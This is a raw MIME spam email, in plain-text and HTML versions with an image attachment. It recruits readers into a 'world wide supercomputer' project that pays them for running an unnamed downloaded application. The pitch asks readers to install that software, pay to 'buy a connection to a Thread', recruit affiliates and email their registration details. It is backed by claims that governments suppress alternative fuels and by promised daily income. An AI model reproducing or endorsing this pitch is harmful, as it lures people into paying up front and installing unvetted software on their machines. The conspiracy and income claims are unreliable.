So it turns out that even ingenious ideas like alternative fuels suffer, be= cause they are not good for continuing a cycle of corruption- for the peopl= e blocking their development, supporting alternative fuels would be like cu= tting off the branch they are sitting on.=20 Our project was conceived with the idea of supporting innovative ideas and = discoveries that could not receive government funding a priori. How profitable can this be=3F The size of your payment will be directly proportional to the time that our= application was running on your computer during the previous month. In our case the more Threads you take up, the higher your income. The minimum standard award is $1 per day ($30 per month) for one running Th= read. You can find out more about income via our partner program in the "Affiliat= e" section, where ways of attracting new users and increasing rewards are d= escribed in further detail. What do we get out of it=3F We wont tell you that Altruism is our guiding light.=20 Commercialization is a large part of our project.=20 We should note though that morality, doing whats right, comes first for us,= always.=20 We are moved by a passion for new discoveries more than the financial possi= bilities of modern advancements. How it works We are free from prejudice and are open to all who deisre to join us. Worki= ng on such a difficult and grandiose project requires 100% effort and worki= ng with out making mistakes, everything must go like clockwork.=20 Our experienced team can solve the problems put to them and has developed u= nique rules for success: Take a KISS approach Flexible when solving problems Transparency and Honesty in business Relationships and partnerships The knowledge that any process and any event takes a certain amount of time= to occur A clear understanding that everything is subject to the rules of a business= environment Join now If youre smart, decisive, and can distinguish an interesting and profitable= offer from a low income "too good to be true" offer that will take all of = your free time, well be glad to see you join our project.=20 And if you understand the concept of team-work, and if your moral principal= s leave you considering other things besides how to get rich quick- well be= VERY happy to see you join our team.=20 Because these principals, teamwork and not being in it just for the money, = are the basis of our idea and form an ideological foundation for participan= ts. They tie us all together! Those who only move forward are truly free.=20 Always make informed decisions. Search. Experiment. Solution. And search ag= ain. This is the way to success. How to become part of the team=3F For those of you who decide to become part of our project, as well as to re= ceive a stable income for allowing us to use the processing power of your c= omputer, you must: =20 1 Register 2 Confirm your registration. In the registration mail you will be given a l= ink to follow. 3 Download our application and install it on your computer. Follow the inst= allation instructions and user guide. If you need to you can find hints o= n the download page. 4 Buy a connection to a Thread (this is an automated process that is requir= ed to completely enter the system and register your payment information, wh= ere the money that you earn will be sent).=20 You can chose the payment method that is most comfortable for you. Also you= will always be able to change this method at your discretion.=20 For a full list of the payment methods available, please see the Payments p= age. 5 Carefully read and learn how to use our program. If you have any question= s about working with the system, you can likely find the answers in the FAQ. Register here for free PS. all those who intend to register or were already registered are reques= ted to send me an email with the nick name and registration email so that it can provide guides and updates =20 =20 ------=_NextPart_002_4300_3FF845BC.229D54DE Content-Type: text/html; charset="windows-1252" Content-Transfer-Encoding: quoted-printable

Take part in a world wide project, and receive daily income = as a bonus!
We are a private international organization.
Our main mis= sion is to expand the limits of possibility.
Our goal is to create the m= ost powerful super computer in the world by combining the computational pow= er of all computers (this type of computer is used in climate modeling, cal= culating satellite orbits, bio-mechanics and other areas)

What do we need a super computer for=3F<= /SPAN>

We are supporting this interesting and unu= sual project so that it has the chance to make life on our planet more comf= ortable and safer. 
Our = main goals are to provide financial support for cutting edge practical rese= arch, support developments that for one reason or another will disrupt the = status quo (such as alternative fuels or facial recognition software) and t= o provide support to talented scientists and geniuses. 
This is needed for us now, our children wil= l need it in the future, and the entire planet will benefit in the future!<= BR>

3D""

What we propose:

1First= ly

We propose a working relations= hip where interaction between participants is both natural and relaxed, and= reinforced by confidence in the experience and general competence of the m= anagement process. 
We w= ill draw strength for new achievement and progress from the thoroughness an= d optimism of participants in the project. 
We invite you to become one of us, become a strong memb= er of our team, move forward, and only forward, with us! 
Success loves progress!

2Secondly
We offer you to use the full potential of your computer, which as a ru= le isnt used as it should be. 

Every day, in every home with an internet connection cyber-power is = wasted, with out benefiting either society or the owner of the computer. 
And you can see that the = cyber-power of modern technology is so great that not using this potential = is a tragic waste. 
We p= ropose using this strength, including using it for development.

3Thirdly

We offer you the ability to become a = participant in a great, in terms of concept and execution. 
You will also automatically become a fu= ll partner of the project.
Just imagine what could happen if your mobile= stopped needing a recharger and worked forever with out charging=3F 
Perhaps you think this is mag= ic=3F It isnt...think of all the things that have become reality that earli= er were thought to be fantasy=3F <= /SPAN>
You must have, at some point, asked the question why, in our high= -tech century, we cant create an alternative fuel=3F. 
Well give you the answer to the question-The= world economy has already been mired in energy intrigue. 
The race for resources has become the bi= ggest priority for every government in the world, therefore most of the dis= coveries and developments have been blocked or suppressed by governments. 

So it turns out that eve= n ingenious ideas like alternative fuels suffer, because they are not good = for continuing a cycle of corruption- for the people blocking their develop= ment, supporting alternative fuels would be like cutting off the branch the= y are sitting on. 
Our p= roject was conceived with the idea of supporting innovative ideas and disco= veries that could not receive government funding a priori.

How profitable can this be=3F

The size of your payment will be directly proportio= nal to the time that our application was running on your computer during th= e previous month.
In our case the more Threads you take up, the higher y= our income.
The minimum standard award is $1 per day ($30 per month) for= one running Thread.
You can find out more about income via our partner = program in the "Affiliate" section, where ways of attracting new users and = increasing rewards are described in further detail.

3D""
What do we get out of it=3F

We w= ont tell you that Altruism is our guiding light. 
Commercialization is a large part of our project.=  
We should note though = that morality, doing whats right, comes first for us, always. 
We are moved by a passion for new di= scoveries more than the financial possibilities of modern advancements.
=
How it works

We are free from prejudice and are open to all who deis= re to join us. Working on such a difficult and grandiose project requires 1= 00% effort and working with out making mistakes, everything must go like cl= ockwork. 
Our experience= d team can solve the problems put to them and has developed unique rules fo= r success:
Take a KISS approach
Flexible when solving problems
Tra= nsparency and Honesty in business
Relationships and partnerships
The = knowledge that any process and any event takes a certain amount of time to = occur
A clear understanding that everything is subject to the rules of a= business environment

Join now
If youre smart, decisive, and can = distinguish an interesting and profitable offer from a low income "too good= to be true" offer that will take all of your free time, well be glad to se= e you join our project. And if you understand the concept of team-work, and if your moral principa= ls leave you considering other things besides how to get rich quick- well b= e VERY happy to see you join our team.&= nbsp;
Because these principals, teamwork and not being in it just= for the money, are the basis of our idea and form an ideological foundatio= n for participants. They tie us all together!
Those who only move forwar= d are truly free. 
Alway= s make informed decisions. Search. Experiment. Solution. And search again. = This is the way to success.

How = to become part of the team=3F

For= those of you who decide to become part of our project, as well as to recei= ve a stable income for allowing us to use the processing power of your comp= uter, you must:

 
1= Register
2 Confirm your r= egistration. In the registration mail you will be given a link to follow.3 Download our application = and install it on your computer. Follow the installation instructions and&n= bsp;  user guide. If you need to you can find hints on the downlo= ad page.
4 Buy a connectio= n to a Thread (this is an automated process that is required to completely = enter the system and register your payment information, where the money tha= t you earn will be sent). <= BR>You can chose the payment method that is most comfortable for you. Also = you will always be able to change this method at your discretion. 
For a full list of the payment m= ethods available, please see the Payments page.
5
Carefully read and learn how to use our program. If= you have any questions about working with the system, you can likely = find the answers in the FAQ.

Regis= ter here for free

 PS. all those who intend to register or were already registered are = requested to send me an email with the nick name and registration email
= so that it can provide guides and updates

 

 <= /P> ------=_NextPart_002_4300_3FF845BC.229D54DE-- ------=_NextPart_001_4300_3FF845BC.229D54DE Content-Type: image/png; name="1.png" Content-Transfer-Encoding: base64 Content-ID: <7103590128-1> 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 